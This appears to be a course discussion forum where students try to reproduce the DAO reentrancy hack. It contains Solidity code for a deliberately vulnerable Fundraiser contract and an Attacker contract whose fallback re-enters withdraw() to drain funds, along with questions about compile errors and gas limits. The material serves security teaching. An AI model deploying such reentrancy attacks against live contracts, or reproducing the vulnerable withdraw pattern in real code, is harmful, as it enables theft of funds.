Hi @MrSeven
I cannot see the two images you’ve uploaded but I can confirm that you should create a variable that holds the balance_to_transafer before resetting the user balance mapping to 0.
Cheers,
Dani
Hi @MrSeven
I cannot see the two images you’ve uploaded but I can confirm that you should create a variable that holds the balance_to_transafer before resetting the user balance mapping to 0.
Cheers,
Dani
Interesting that the calling contract, Attacker in this case, MUST have a fallback function that is declared as payable. Otherwise the Attacker contract runs out of gas (inferred based on the huge execution cost: 77520597 gas out of 80000000 gas) and no actual ETH transfer happens. While was trying to figure out the issue I tried different code variation:
Adding payable to the fallback function fixed the issue and the exec cost was adequate: 39164 gas.
Thought it was interesting observation.
Hi, I am just wondering, where is the problem? When I run startScam I get error. Clearly the error is in call function. Can you please look at it? Thanks.
Fundraiser contract:
pragma solidity ^0.4.8;
contract Fundraiser {
mapping(address => uint) balances;
function contribute() payable{
balances[msg.sender] += msg.value;
}
function withdraw(){
if(balances[msg.sender] == 0){
throw;
}
uint toWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
if(msg.sender.call.value(toWithdraw)()){
}
else{
throw;
}
}
function getFunds() returns (uint){
return address(this).balance;
}
}
Attacker contract:
pragma solidity ^0.4.8;
import "./Fundraiser.sol";
contract Attacker{
address public fundraiserAddress;
uint public drainTimes = 0;
function Attacker(address victimAddress){
fundraiserAddress = victimAddress;
}
function() payable{
if(drainTimes<3){
drainTimes++;
Fundraiser(fundraiserAddress).withdraw();
}
}
function getFunds() returns (uint){
return address(this).balance;
}
function payMe() payable {
Fundraiser(fundraiserAddress).contribute.value(msg.value)();
}
function startScam(){
Fundraiser(fundraiserAddress).withdraw();
}
}
Error:
I have a question to the syntax of the startScam() and fallback() functions of the demonstrated DAO hack.
Why do I need to write: Fundraiser(fundraiserAddress).withdraw();
Can’t I just write: fundraiserAddress.withdraw();
I.e. can I not call the Fundraiser contract directly with its address? Why do I need to specify the variable first?
I was not able to recreate the Attack like in video DAO Hack – Replicating the Vulnerability Part 2. I feel a little disappointed But since we are doing it in EVM locally, it might be not enough time. So I think it throws right on the second withdraw call, when fallback function kicks in.
It’s still a good knowledge to have.
This has to do with the version of solidity, and how fast changes are made when newer version of solidity are created
In terms of destroying a library and not being able to use the withdraw or any other function that may be dependent on it, can we not simply create a proxy contract and point out to another library that is active?
Hi Everybody !!
I have a question! in DAO Hack – Replicating the Vulnerability Part 2 . When Ivan call the start
scam function, the balance of the Attacker contract is 400.
I understand until the part that the Fundraiser Contract has 1100 wei but then, calls to the startScam() function and the balance of the Attacker contract is 400. Why 400 ?
I’ve followed the video and write the code, and also make some updated changes to my code but there are still some errors. May I know what to modify please? Below are my codes.
fundraiser.sol:
pragma solidity ^0.8.17;
//SPDX-License-Identifier: UNLICENSED
contract Fundraiser{
mapping (address => uint) balances;
function contribute() payable public{
balances[msg.sender] += msg.value; //SC need to remember u hv paid
}
function withdraw() public{
if(balances[msg.sender] == 0){
revert(); //u can't withdraw if u never contribute
}
if(msg.sender.call{value: balances[msg.sender]}){ //refund them this amt
balances[msg.sender] = 0;
}
else{
revert();
}
}
}
For line " if(msg.sender.call{value: balances[msg.sender]}){ //refund them this amt",
it said
from solidity:
TypeError: Type function (bytes memory) payable returns (bool,bytes memory) is not implicitly convertible to expected type bool.
--> ETH SC Security/fundraiser.sol:18:12:
|
18 | if(msg.sender.call{value: balances[msg.sender]}){ //refund them this amt
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^
Attacker.sol:
pragma solidity ^0.8.17;
//SPDX-License-Identifier: UNLICENSED
import "./fundraiser.sol";
contract Attacker{
address public fundraiserAddress;
//have gas limit, so can't do unlimted # of times, hv to decide how many times doing it
uint public drainTimes = 3; //give u 10, refund me 30
fallback() payable external{
if(drainTimes<3){
drainTimes++;
Fundraiser(fundraiserAddress).withdraw(); //withdraw again
}
}
function getFunds() public returns (uint){
return address(this).balance;
}
//fund SC
function payMe() payable public{
//empty
Fundraiser(fundraiserAddress).contribute{value: msg.value};
}
//calling fimndraiser n wiothdraw funds form them
function startScam() public{
Fundraiser(fundraiserAddress).withdraw();
}
}
For line “contract Attacker{”, it said
from solidity:
Warning: This contract has a payable fallback function, but no receive ether function. Consider adding a receive ether function.
--> ETH SC Security/Attacker.sol:5:1:
|
5 | contract Attacker{
| ^ (Relevant source part starts here and spans across multiple lines).
Note: The payable fallback function is defined here.
--> ETH SC Security/Attacker.sol:11:5:
|
11 | fallback() payable external{
| ^ (Relevant source part starts here and spans across multiple lines).
May I know what I should do please?
Hi, how can we estimate the number of drain we can go for before running out of gas in the DAO attack?
It will vary based on the required gas for each drain transaction and the total available gas.
You can find the required gas value from any similar past transactions.